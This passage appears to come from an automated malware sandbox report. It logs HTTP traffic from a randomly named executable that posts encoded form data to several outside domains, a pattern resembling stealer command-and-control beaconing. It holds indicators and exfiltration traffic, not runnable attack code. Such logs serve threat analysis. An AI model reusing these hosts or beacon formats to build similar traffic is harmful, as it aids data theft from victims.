4c 57 46 35 72 4e 34 51 44 4d 54 78 76 71 6a 42 54 78 7a 4d 73 64 39 45 44 78 66 42 34 6f 6d 35 66 75 43 57 4c 78 55 2b 73 48 79 32 50 55 53 50 32 7a 75 6d 42 6c 37 67 4c 30 6c 71 4c 70 6d 6d 30 70 51 51 42 46 79 5a 65 45 71 77 31 70 61 79 2b 6d 48 7a 76 35 56 32 59 4d 6a 51 4f 2f 62 70 6b 4c 48 64 2f 6d 58 48 67 36 58 41 30 75 76 61 48 43 49 52 44 46 4f 79 41 58 36 69 34 45 74 7a 50 68 72 4b 72 52 71 31 58 77 68 56 75 5a 66 74 63 6f 76 50 61 61 70 30 50 52 66 46 59 62 42 6c 37 44 7a 55 31 74 58 4e 63 67 7a 79 6d 34 53 2f 43 63 36 45 53 38 67 66 68 47 54 45 50 77 49 37 70 4e 35 53 62 57 2f 45 64 59 74 45 76 6c 43 34 6f 42 68 66 6f 35 75 63 45 4e 4e 64 62 6d 63 2f 4a 65 37 34 4a 42 58 33 47 69 77 7a 43 58 59 53 78 34 62 34 72 73 47 5a 70 63 6b 6c 6b 52 5a 74 77 54 74 34 71 56 4e 74 6e 69 6d [TRUNCATED] Data Ascii: 4dV43tA=T8RHcsuNY1Snp0X3MT6+4z9ZWRy816wfk5HvBaZmkQsjiCo6TpjF7Au3AGyhpzlLWF5rN4QDMTxvqjBTxzMsd9EDxfB4om5fuCWLxU+sHy2PUSP2zumBl7gL0lqLpmm0pQQBFyZeEqw1pay+mHzv5V2YMjQO/bpkLHd/mXHg6XA0uvaHCIRDFOyAX6i4EtzPhrKrRq1XwhVuZftcovPaap0PRfFYbBl7DzU1tXNcgzym4S/Cc6ES8gfhGTEPwI7pN5SbW/EdYtEvlC4oBhfo5ucENNdbmc/Je74JBX3GiwzCXYSx4b4rsGZpcklkRZtwTt4qVNtnim1Hf3WL1HQ+rvoAcRcdUUvIYy25tEw7dqgdkiCuAKUAwAyZNQwSd6sbddlIVrRv63eh2+P2dklSgiKdL/Ony3YXwjHwigFAkOTJlEJWeWRXZkWqbD5goeYnHvvyu6HiWo9Sy18EyjmFU44LH9TI/yi33/12TgnG1ttiRemb+2nWbt1m/uaAjPfKyuLD8NDz6QFdrN1zqBRaX2aMsb3ZYlISiU/VWsW7w4XTt+IWwYFBrZLfRkcNugziTWpEfd7irNfqI3w2Z6ey/NuybhDsqDn3A5iIe0QMdzQ5igbbpp/LTK3QutcGIFNvEZ24xOZ25PpfFd55zu0H0I/pJffvKqfvJzS1uwie2QbtoxtNWS7KvfQzXaxtemU8RpHEP7EPUP/bFoEG+7oBu2auzaHRgEM/9GXi9WTZD6/0G1ohM6+xdx25T46tBwRJVEnRGyVJ/3uIhGHeoAjGQhNgK6gmWD5K4rVT/I//B8jerI9dd7PBtK+emlc6rkPlXe+L7GV/PkdoWtENOF8iFVxwzBCHKLDEUxqEEvb5HgfovaXwfN3aNVy1ay+kBvwxDDCki6K7RA35lOigYhKfu+m/mSM0usBogk2RB4Ng0RDJE8nGaYyjq58Q46AL2UY6UtcZFgp+WGDBRELk+quJRRhYLxKjU/2XzCaUn6h/z88Z [TRUNCATED]
Jul 1, 2024 16:18:41.086306095 CEST	333	IN	HTTP/1.1 302 Found date: Mon, 01 Jul 2024 14:18:40 GMT server: Apache set-cookie: __tad=1719843520.2506297; expires=Thu, 29-Jun-2034 14:18:40 GMT; Max-Age=315360000 location: http://ww16.atmpla.net/n983/?sub1=20240702-0018-40fd-b0c0-de8fa4c780cd content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49770	103.224.182.246	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:43.039994001 CEST	525	OUT	GET /n983/?3hkl=slNhbLXpBjO8vl&4dV43tA=e+5nfbuNDjer0F2gZArKywdTCxWjyYobv/bJcL0KsTg4lVUyb9D57z7xFmyHzStdVmhrGKgxJydatVMh3gIVfbA1nNcelGxUr0Cqn1CeETaIIhfK6rSIprtv6DqA0Tv84A== HTTP/1.1 Host: www.atmpla.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:18:43.638958931 CEST	494	IN	HTTP/1.1 302 Found date: Mon, 01 Jul 2024 14:18:43 GMT server: Apache set-cookie: __tad=1719843523.8302071; expires=Thu, 29-Jun-2034 14:18:43 GMT; Max-Age=315360000 location: http://ww16.atmpla.net/n983/?3hkl=slNhbLXpBjO8vl&4dV43tA=e+5nfbuNDjer0F2gZArKywdTCxWjyYobv/bJcL0KsTg4lVUyb9D57z7xFmyHzStdVmhrGKgxJydatVMh3gIVfbA1nNcelGxUr0Cqn1CeETaIIhfK6rSIprtv6DqA0Tv84A==&sub1=20240702-0018-43fc-840f-b1c56d53c9de content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49771	72.52.179.174	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:48.836009979 CEST	803	OUT	POST /2pcd/ HTTP/1.1 Host: www.europedriveguide.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.europedriveguide.com Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.europedriveguide.com/2pcd/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 67 4b 76 57 30 6f 77 53 67 48 52 41 6a 57 6c 6e 43 6d 4f 73 6b 46 6f 55 32 39 6e 75 4d 57 44 49 5a 46 68 51 4b 72 68 50 59 71 6d 37 66 6f 6f 75 67 6e 45 4d 78 44 47 70 63 53 69 45 4b 63 44 45 77 66 6d 6e 46 6b 6a 38 65 6c 64 4a 52 33 6d 46 79 45 4d 42 61 63 6e 79 53 47 79 69 35 67 47 47 48 6c 79 2f 2b 37 63 53 38 49 4e 63 4b 4a 6e 6e 49 5a 76 79 54 73 43 4f 6c 68 76 37 4f 43 7a 56 52 72 2b 44 79 42 38 52 2b 63 68 46 43 6d 4a 38 62 77 53 32 5a 6d 4a 41 51 65 69 4b 62 46 52 53 6d 77 2f 51 76 32 2f 36 47 6a 70 62 49 61 49 4f 4c 55 77 78 72 31 74 70 6b 61 42 6b 48 44 57 6f 61 61 58 72 58 5a 6b 3d Data Ascii: 4dV43tA=gKvW0owSgHRAjWlnCmOskFoU29nuMWDIZFhQKrhPYqm7foougnEMxDGpcSiEKcDEwfmnFkj8eldJR3mFyEMBacnySGyi5gGGHly/+7cS8INcKJnnIZvyTsCOlhv7OCzVRr+DyB8R+chFCmJ8bwS2ZmJAQeiKbFRSmw/Qv2/6GjpbIaIOLUwxr1tpkaBkHDWoaaXrXZk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49772	72.52.179.174	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:51.373471022 CEST	823	OUT	POST /2pcd/ HTTP/1.1 Host: www.europedriveguide.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.europedriveguide.com Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.europedriveguide.com/2pcd/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 67 4b 76 57 30 6f 77 53 67 48 52 41 35 33 56 6e 46 46 6d 73 73 46 6f 58 31 39 6e 75 48 32 43 44 5a 46 64 51 4b 75 5a 68 4e 4a 53 37 66 4a 34 75 68 6d 45 4d 79 44 47 70 55 79 69 42 4f 63 44 50 77 66 72 53 46 6b 76 38 65 6c 35 4a 52 32 57 46 7a 33 6b 43 63 4d 6e 77 55 47 79 7a 7a 41 47 47 48 6c 79 2f 2b 37 34 34 38 49 56 63 4b 34 33 6e 4c 34 76 78 51 73 43 50 69 68 76 37 4b 43 7a 52 52 72 2f 57 79 43 34 37 2b 65 5a 46 43 6e 35 38 62 45 2b 35 44 32 4a 43 63 4f 6a 4b 52 6d 6f 6d 68 68 58 37 79 67 71 4a 5a 41 4a 79 41 4d 6c 6b 52 32 34 5a 34 56 42 52 30 4a 4a 54 57 7a 33 42 41 35 48 62 4a 4f 77 38 35 67 6f 71 55 47 5a 2f 7a 55 69 30 76 44 56 71 4f 63 6f 70 Data Ascii: 4dV43tA=gKvW0owSgHRA53VnFFmssFoX19nuH2CDZFdQKuZhNJS7fJ4uhmEMyDGpUyiBOcDPwfrSFkv8el5JR2WFz3kCcMnwUGyzzAGGHly/+7448IVcK43nL4vxQsCPihv7KCzRRr/WyC47+eZFCn58bE+5D2JCcOjKRmomhhX7ygqJZAJyAMlkR24Z4VBR0JJTWz3BA5HbJOw85goqUGZ/zUi0vDVqOcop

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49773	72.52.179.174	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:53.901906013 CEST	1840	OUT	POST /2pcd/ HTTP/1.1 Host: www.europedriveguide.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.europedriveguide.com Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.europedriveguide.com/2pcd/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 67 4b 76 57 30 6f 77 53 67 48 52 41 35 33 56 6e 46 46 6d 73 73 46 6f 58 31 39 6e 75 48 32 43 44 5a 46 64 51 4b 75 5a 68 4e 4a 4b 37 66 62 67 75 67 46 38 4d 7a 44 47 70 61 53 69 41 4f 63 44 6f 77 66 7a 65 46 6b 54 43 65 6e 78 4a 44 41 43 46 30 43 51 43 56 4d 6e 77 59 6d 7a 30 35 67 47 58 48 68 57 37 2b 37 49 34 38 49 56 63 4b 37 2f 6e 66 35 76 78 57 73 43 4f 6c 68 76 4a 4f 43 7a 31 52 72 6d 74 79 42 55 42 2b 4b 74 46 44 48 70 38 49 58 47 35 49 32 4a 36 64 2b 6a 6b 52 6e 55 35 68 68 62 64 79 67 32 6a 5a 41 78 79 52 35 34 6d 49 30 74 41 76 32 39 4d 6d 59 49 76 58 6a 7a 53 48 6f 62 4d 57 63 45 76 32 68 63 6d 52 78 35 67 34 58 62 65 34 46 52 5a 4a 34 46 6e 6f 76 62 38 59 65 6d 71 34 4e 32 33 71 34 49 71 4d 36 77 7a 53 53 47 72 67 33 53 4e 59 61 44 4c 4c 79 58 61 37 64 6c 76 65 75 76 4f 5a 48 74 41 38 69 39 50 35 5a 64 69 77 70 69 64 2b 73 51 52 51 4f 59 55 4a 32 79 54 6b 44 42 31 37 73 68 52 31 37 37 59 48 30 53 68 7a 46 61 6e 43 56 69 39 33 59 6d 55 31 65 79 6f 30 6d 66 42 79 43 [TRUNCATED] Data Ascii: 4dV43tA=gKvW0owSgHRA53VnFFmssFoX19nuH2CDZFdQKuZhNJK7fbgugF8MzDGpaSiAOcDowfzeFkTCenxJDACF0CQCVMnwYmz05gGXHhW7+7I48IVcK7/nf5vxWsCOlhvJOCz1RrmtyBUB+KtFDHp8IXG5I2J6d+jkRnU5hhbdyg2jZAxyR54mI0tAv29MmYIvXjzSHobMWcEv2hcmRx5g4Xbe4FRZJ4Fnovb8Yemq4N23q4IqM6wzSSGrg3SNYaDLLyXa7dlveuvOZHtA8i9P5Zdiwpid+sQRQOYUJ2yTkDB17shR177YH0ShzFanCVi93YmU1eyo0mfByCgKtWz9mPROmLsMttTSOk068UWMk9bJ/vV1cifmKPgwA5dzVPe4l/Q+h0jmVCfAtxcJCPTAv+3XljnpnxZ1CjkvrNghwkHx5LlJazth/eov8YjU2uqdr9BB09ITrpY2aGs6lYm/HF/v7WYVOVt8JGwXCjWb5FpqgGk2qF3Wq+BP7yeGt8zxIhxbVwpqDoOmq68Q83/i1IKbPgkUyy6N4udttfQOiRXn/VDpRLuTQZZ84rgtiGoRbRSupi2BLk/otsV5N8eSVhjVJVs4yX+R/nnCkGSu9JY4VlNW2oRmyfXTB9UlThEwxV9J90usbiXqI0D3MADEtTH8GJBMI8VAXchwAOkyKFiwX+JU2go+7fXlXwgfFCVdEdW9QKt0jAuGpjfgbyzvb1cT+kgaBBIqpNmR6YhGb7PBN8WLnpvz3gMEde3iAhUOwrHholr2dUs4jMCwEINAqpDRey2eqMo1tZmv48tC0rxFkTq6ydWWWR3DgF4043Smv33VCF1nyiTTcVhnJVpigVm4FtLWf5KfTOg/mMShgZgWhPjKSl1CIj8g2mRorpihkwIO/oMRymwcoOn8lBaJ0qC8Xc0q/BzbtsDjyMbUBYiNCqzNSpjgoMfXErfltIHchS0i3Kcfs9wiLbB0SROxANr5gVIJp8fGym/XD6KdAYxkaEnB [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49774	72.52.179.174	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:56.437958002 CEST	535	OUT	GET /2pcd/?4dV43tA=tIH23YAAyU0vk1VwVlLsnDkrzub9KGyrHgMKKMQURaOCIZhbg0Upzh73XSapbsD05fysGFvFeXdkAWPx22YjftjyG2q/7RKdCSWXn7wn/qpIWY7LWJ3oR8OZl3TaORuYDQ==&3hkl=slNhbLXpBjO8vl HTTP/1.1 Host: www.europedriveguide.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:18:57.446877956 CEST	520	IN	HTTP/1.1 302 Moved Temporarily Date: Mon, 01 Jul 2024 14:18:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Connection: close Cache-Control: no-cache Pragma: no-cache Location: http://ww7.europedriveguide.com/2pcd/?4dV43tA=tIH23YAAyU0vk1VwVlLsnDkrzub9KGyrHgMKKMQURaOCIZhbg0Upzh73XSapbsD05fysGFvFeXdkAWPx22YjftjyG2q/7RKdCSWXn7wn/qpIWY7LWJ3oR8OZl3TaORuYDQ==&3hkl=slNhbLXpBjO8vl&usid=16&utid=33620332093 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49775	192.227.175.142	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:19:02.638027906 CEST	776	OUT	POST /irbt/ HTTP/1.1 Host: www.coinmao.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.coinmao.com Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.coinmao.com/irbt/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 72 6f 68 4e 5a 59 55 6e 2f 4d 65 54 59 75 78 62 6d 71 4a 53 34 7a 47 70 32 64 36 74 75 4f 42 38 6c 53 31 79 44 4a 64 70 74 4e 53 39 43 34 36 54 66 44 72 4e 73 7a 68 37 46 59 72 51 61 5a 4c 4f 4f 36 33 4d 64 48 33 4e 54 76 6d 33 67 7a 43 61 4f 43 32 31 31 53 6f 46 44 36 6c 67 71 42 49 54 4e 45 7a 65 2b 39 77 68 62 35 48 64 78 47 63 30 72 70 78 44 5a 71 4f 52 4a 33 36 5a 77 5a 47 49 55 78 65 64 77 4d 6d 6d 32 61 48 51 34 62 6e 67 33 6f 79 47 7a 74 43 39 4e 65 7a 56 51 76 53 5a 4e 4b 62 38 55 5a 4c 73 78 6f 4e 4e 4a 4e 51 31 33 32 38 59 72 6b 35 73 41 74 77 73 4f 6b 73 52 36 52 31 4a 56 47 4d 3d Data Ascii: 4dV43tA=rohNZYUn/MeTYuxbmqJS4zGp2d6tuOB8lS1yDJdptNS9C46TfDrNszh7FYrQaZLOO63MdH3NTvm3gzCaOC211SoFD6lgqBITNEze+9whb5HdxGc0rpxDZqORJ36ZwZGIUxedwMmm2aHQ4bng3oyGztC9NezVQvSZNKb8UZLsxoNNJNQ1328Yrk5sAtwsOksR6R1JVGM=
Jul 1, 2024 16:19:03.131706953 CEST	399	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 01 Jul 2024 14:19:03 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.coinmao.com/irbt/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49776	192.227.175.142	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:19:05.500678062 CEST	796	OUT	POST /irbt/ HTTP/1.1 Host: www.coinmao.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.coinmao.com Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.coinmao.com/irbt/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 72 6f 68 4e 5a 59 55 6e 2f 4d 65 54 59 4f 68 62 67 39 6c 53 6f 6a 47 71 31 64 36 74 31 2b 42 34 6c 53 35 79 44 4d 73 79 34 70 2b 39 44 61 79 54 4f 79 72 4e 74 7a 68 37 4f 34 72 4a 5a 70 4b 41 4f 37 4c 31 64 46 7a 4e 54 70 4b 33 67 78 4b 61 50 30 2b 30 31 43 6f 39 46 36 6c 69 75 42 49 54 4e 45 7a 65 2b 39 6b 66 62 39 54 64 78 31 55 30 71 49 78 45 61 71 4f 53 41 58 36 5a 68 4a 47 4d 55 78 66 36 77 4e 4b 41 32 63 44 51 34 65 6a 67 33 36 61 5a 36 74 43 2f 44 2b 79 61 52 4f 37 50 49 62 2b 73 49 5a 4b 30 74 34 41 34 4d 37 39 66 74 55 30 77 34 45 56 55 51 2b 34 62 66 55 4e 34 67 79 6c 35 4c 52 59 42 52 44 4f 4d 32 4a 6e 42 4f 5a 64 53 38 6f 78 45 70 71 49 72 Data Ascii: 4dV43tA=rohNZYUn/MeTYOhbg9lSojGq1d6t1+B4lS5yDMsy4p+9DayTOyrNtzh7O4rJZpKAO7L1dFzNTpK3gxKaP0+01Co9F6liuBITNEze+9kfb9Tdx1U0qIxEaqOSAX6ZhJGMUxf6wNKA2cDQ4ejg36aZ6tC/D+yaRO7PIb+sIZK0t4A4M79ftU0w4EVUQ+4bfUN4gyl5LRYBRDOM2JnBOZdS8oxEpqIr
Jul 1, 2024 16:19:06.005846977 CEST	399	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 01 Jul 2024 14:19:05 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.coinmao.com/irbt/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49777	192.227.175.142	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:19:08.042437077 CEST	1813	OUT	POST /irbt/ HTTP/1.1 Host: www.coinmao.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.coinmao.com Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.coinmao.com/irbt/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 72 6f 68 4e 5a 59 55 6e 2f 4d 65 54 59 4f 68 62 67 39 6c 53 6f 6a 47 71 31 64 36 74 31 2b 42 34 6c 53 35 79 44 4d 73 79 34 70 32 39 43 6f 4b 54 63 68 7a 4e 2f 6a 68 37 51 49 72 55 5a 70 4c 63 4f 36 6a 78 64 46 2f 37 54 71 2b 33 67 55 47 61 47 68 65 30 37 43 6f 39 48 36 6c 6a 71 42 49 4b 4e 45 44 61 2b 2b 63 66 62 39 54 64 78 30 6b 30 74 5a 78 45 56 4b 4f 52 4a 33 36 56 77 5a 47 6f 55 78 48 41 77 4e 2b 32 33 73 6a 51 35 2b 7a 67 30 50 47 5a 31 74 43 78 41 2b 7a 46 52 4f 6d 52 49 62 7a 41 49 61 57 65 74 37 67 34 50 4e 6f 35 32 32 34 56 6a 33 38 32 55 65 73 36 46 78 74 6e 71 41 31 73 50 54 56 75 5a 42 2b 35 37 4e 72 45 4f 4e 51 5a 69 65 51 51 75 66 52 77 46 6a 66 64 79 48 73 4d 68 33 62 33 48 36 49 36 58 45 45 4e 34 45 62 4b 6b 31 74 68 35 78 4a 72 7a 54 4c 63 4a 4a 59 55 35 54 49 37 32 53 43 4e 71 37 64 6d 35 67 56 46 2b 55 49 6c 56 2f 6e 76 51 48 6e 70 62 74 47 5a 39 4b 63 51 48 4b 6d 30 61 67 4e 43 6c 6a 38 32 49 31 69 34 54 55 38 56 4a 59 54 39 44 52 32 61 4f 6f 52 36 58 76 [TRUNCATED] Data Ascii: 4dV43tA=rohNZYUn/MeTYOhbg9lSojGq1d6t1+B4lS5yDMsy4p29CoKTchzN/jh7QIrUZpLcO6jxdF/7Tq+3gUGaGhe07Co9H6ljqBIKNEDa++cfb9Tdx0k0tZxEVKORJ36VwZGoUxHAwN+23sjQ5+zg0PGZ1tCxA+zFROmRIbzAIaWet7g4PNo5224Vj382Ues6FxtnqA1sPTVuZB+57NrEONQZieQQufRwFjfdyHsMh3b3H6I6XEEN4EbKk1th5xJrzTLcJJYU5TI72SCNq7dm5gVF+UIlV/nvQHnpbtGZ9KcQHKm0agNClj82I1i4TU8VJYT9DR2aOoR6XvdX+RZPUy3ZdZSQ2nS1/f9nHe4W7YQW796TFVKdJuvDdQ0E9gPXMAuZR5yvT8pWuAgOS9ly9lpqWqb8ah/9uCyPgtpP8mI5Ucs4H4id4AXv44TVjuFGUBY1aMYbTkXk6masxqGUvGp66wK2y+hkVvbiG1c9BJ2hMB5roNUlVfmJSsAIEaqJ28iTesb383azn3BjWIX8aKz3mFRVP13ym5UUdc0UkrmWH60qhB9/Jbg/rMPcCYcvmtg2v95lzgzO0FOXLwY+MOoltZNQNKUm53U5J9PT0RucWWn31mPN+N14u805Ybse1gYVRmVQZiaxJ7cAL7gn5aG6tHiCQnJyHxPDD3TPLV6kXWtlnLQQRZ1BJ9FRNsqcRTPZYdaXZ8Ja9L0Njn8Ec6z7nKv7eUp9/ZNFrPiR1sC08S73X3TPU4JSl4QkSNGEXcEiiGbf5xpyPwps7ag9QGj/67Msz3rt+4xx3+fobphYhl6bBH3Nb+uHWxc0VzqXv019gWiQCLnaR22fR+k8koafRONSiBwf2pUCj1B1z+cjNSxkBpgsCs1a//O/tZjlJuTV5n9HOydhBRQiyzWJosK2HRlMICJGbSkcXrANK+G+DLPjJWfwvmEQncnByTSe/DpXqo/bE9Q7alIykMXtOfEXdrsabrrYOKZ7e2TLwf4/JjFR [TRUNCATED]
Jul 1, 2024 16:19:08.534682035 CEST	399	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 01 Jul 2024 14:19:08 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.coinmao.com/irbt/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
